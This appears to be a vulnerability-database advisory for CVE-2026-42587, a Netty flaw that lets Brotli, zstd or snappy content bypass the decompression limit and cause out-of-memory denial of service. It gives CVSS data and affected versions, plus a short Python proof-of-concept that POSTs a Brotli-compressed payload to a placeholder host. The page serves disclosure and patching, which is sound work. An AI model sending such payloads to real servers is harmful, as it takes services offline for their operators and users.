Security Vulnerability Report
中文
CVE-2026-42587 CVSS 7.5 HIGH

CVE-2026-42587

Published: 2026-05-13 19:17:24
Last Modified: 2026-05-14 16:21:03

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Netty < 4.2.13.Final
Netty < 4.1.133.Final

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-42587 # This script demonstrates how a payload with Content-Encoding: br can bypass allocation limits. import requests import brotli target_url = "http://vulnerable-target:8080/upload" # Create a large payload that expands significantly (Decompression Bomb) # In a real scenario, a small compressed size expands to gigabytes of data. large_payload = "A" * 10000000 compressed_payload = brotli.compress(large_payload.encode('utf-8')) headers = { "Content-Encoding": "br", # Using Brotli to bypass the maxAllocation check "Content-Type": "application/octet-stream", "Accept-Encoding": "br" } try: print(f"Sending compressed payload ({len(compressed_payload)} bytes)...") response = requests.post(target_url, data=compressed_payload, headers=headers) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42587", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:24.460", "lastModified": "2026-05-14T16:21:02.930", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}